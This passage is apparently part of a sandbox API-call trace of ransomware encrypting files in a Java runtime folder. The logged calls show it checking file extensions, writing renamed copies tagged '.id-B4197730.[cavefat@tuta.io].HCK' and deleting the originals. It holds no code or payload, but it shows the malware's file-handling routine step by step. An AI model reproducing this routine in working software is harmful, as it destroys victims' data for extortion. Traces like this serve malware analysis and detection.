lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.260] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x108, lpOverlapped=0x0) returned 1 [0227.260] SetEndOfFile (hFile=0x4a8) returned 1 [0227.260] CloseHandle (hObject=0x4a8) returned 1 [0227.260] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.260] SetEndOfFile (hFile=0x454) returned 1 [0227.263] CloseHandle (hObject=0x454) returned 1 [0227.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.263] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0227.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.264] lstrlenW (lpString=".doc") returned 4 [0227.264] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.264] lstrlenW (lpString=".docx") returned 5 [0227.264] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0227.264] lstrlenW (lpString=".pdf") returned 4 [0227.264] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.264] lstrlenW (lpString=".xls") returned 4 [0227.264] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.264] lstrlenW (lpString=".xlsx") returned 5 [0227.264] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0227.264] lstrlenW (lpString=".ppt") returned 4 [0227.264] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.264] lstrlenW (lpString=".zip") returned 4 [0227.264] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.264] lstrlenW (lpString=".rar") returned 4 [0227.264] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.264] lstrlenW (lpString=".bz2") returned 4 [0227.264] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.264] lstrlenW (lpString=".7z") returned 3 [0227.264] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".dbf") returned 4 [0227.265] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".1cd") returned 4 [0227.265] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".jpg") returned 4 [0227.265] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".doc") returned 4 [0227.265] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString=".docx") returned 5 [0227.265] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0227.265] lstrlenW (lpString=".pdf") returned 4 [0227.265] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString=".xls") returned 4 [0227.265] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.265] lstrlenW (lpString=".xlsx") returned 5 [0227.265] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0227.265] lstrlenW (lpString=".ppt") returned 4 [0227.265] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".zip") returned 4 [0227.265] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.265] lstrlenW (lpString=".rar") returned 4 [0227.265] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString=".bz2") returned 4 [0227.265] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString=".7z") returned 3 [0227.265] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".dbf") returned 4 [0227.265] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".1cd") returned 4 [0227.265] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0227.265] lstrlenW (lpString=".jpg") returned 4 [0227.265] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.265] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.265] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0227.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.266] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=234068) returned 1 [0227.266] CloseHandle (hObject=0x454) returned 1 [0227.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0227.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.267] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.267] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.267] GetLastError () returned 0x0 [0227.267] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x39254, lpOverlapped=0x0) returned 1 [0227.276] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x39260, lpOverlapped=0x0) returned 1 [0227.282] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.283] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x104, lpOverlapped=0x0) returned 1 [0227.283] SetEndOfFile (hFile=0x4a8) returned 1 [0227.283] CloseHandle (hObject=0x4a8) returned 1 [0227.283] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.283] SetEndOfFile (hFile=0x454) returned 1 [0227.287] CloseHandle (hObject=0x454) returned 1 [0227.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.288] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0227.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.288] lstrlenW (lpString=".doc") returned 4 [0227.288] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.288] lstrlenW (lpString=".docx") returned 5 [0227.288] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0227.289] lstrlenW (lpString=".pdf") returned 4 [0227.289] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".xls") returned 4 [0227.289] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.289] lstrlenW (lpString=".xlsx") returned 5 [0227.289] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0227.289] lstrlenW (lpString=".ppt") returned 4 [0227.289] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".zip") returned 4 [0227.289] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.289] lstrlenW (lpString=".rar") returned 4 [0227.289] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".bz2") returned 4 [0227.289] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".7z") returned 3 [0227.289] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".dbf") returned 4 [0227.289] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".1cd") returned 4 [0227.289] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".jpg") returned 4 [0227.289] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".doc") returned 4 [0227.289] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".docx") returned 5 [0227.289] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0227.289] lstrlenW (lpString=".pdf") returned 4 [0227.289] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".xls") returned 4 [0227.289] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.289] lstrlenW (lpString=".xlsx") returned 5 [0227.289] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0227.289] lstrlenW (lpString=".ppt") returned 4 [0227.289] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".zip") returned 4 [0227.289] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.289] lstrlenW (lpString=".rar") returned 4 [0227.289] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".bz2") returned 4 [0227.289] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.289] lstrlenW (lpString=".7z") returned 3 [0227.289] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.289] lstrlenW (lpString=".dbf") returned 4 [0227.289] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.290] lstrlenW (lpString=".1cd") returned 4 [0227.290] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0227.290] lstrlenW (lpString=".jpg") returned 4 [0227.290] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.290] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.290] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0227.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.290] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=242700) returned 1 [0227.290] CloseHandle (hObject=0x454) returned 1 [0227.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0227.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.291] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.291] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0227.291] GetLastError () returned 0x0 [0227.291] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0227.686] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3b410, lpOverlapped=0x0) returned 1 [0227.689] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.689] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10a, lpOverlapped=0x0) returned 1 [0227.689] SetEndOfFile (hFile=0x4a8) returned 1 [0227.689] CloseHandle (hObject=0x4a8) returned 1 [0227.689] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.689] SetEndOfFile (hFile=0x454) returned 1 [0227.693] CloseHandle (hObject=0x454) returned 1 [0227.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.694] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString=".doc") returned 4 [0227.695] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString=".docx") returned 5 [0227.695] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.695] lstrlenW (lpString=".pdf") returned 4 [0227.695] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString=".xls") returned 4 [0227.695] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.695] lstrlenW (lpString=".xlsx") returned 5 [0227.695] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.695] lstrlenW (lpString=".ppt") returned 4 [0227.695] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString=".zip") returned 4 [0227.695] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.695] lstrlenW (lpString=".rar") returned 4 [0227.695] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString=".bz2") returned 4 [0227.695] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString=".7z") returned 3 [0227.695] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString=".dbf") returned 4 [0227.695] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString=".1cd") returned 4 [0227.695] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.695] lstrlenW (lpString=".jpg") returned 4 [0227.695] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.853] lstrlenW (lpString=".doc") returned 4 [0227.853] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.853] lstrlenW (lpString=".docx") returned 5 [0227.853] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.853] lstrlenW (lpString=".pdf") returned 4 [0227.853] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString=".xls") returned 4 [0227.854] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.854] lstrlenW (lpString=".xlsx") returned 5 [0227.854] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.854] lstrlenW (lpString=".ppt") returned 4 [0227.854] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.854] lstrlenW (lpString=".zip") returned 4 [0227.854] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.854] lstrlenW (lpString=".rar") returned 4 [0227.854] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString=".bz2") returned 4 [0227.854] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString=".7z") returned 3 [0227.854] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.854] lstrlenW (lpString=".dbf") returned 4 [0227.854] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.854] lstrlenW (lpString=".1cd") returned 4 [0227.854] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0227.854] lstrlenW (lpString=".jpg") returned 4 [0227.854] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.854] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0227.854] lstrlenW (lpString="javafx.properties") returned 17 [0227.854] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.862] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=56) returned 1 [0227.862] CloseHandle (hObject=0x448) returned 1 [0227.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0227.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.862] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.862] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.867] GetLastError () returned 0x0 [0227.867] ReadFile (in: hFile=0x448, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x38, lpOverlapped=0x0) returned 1 [0227.868] WriteFile (in: hFile=0x3e4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x40, lpOverlapped=0x0) returned 1 [0227.869] ReadFile (in: hFile=0x448, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, 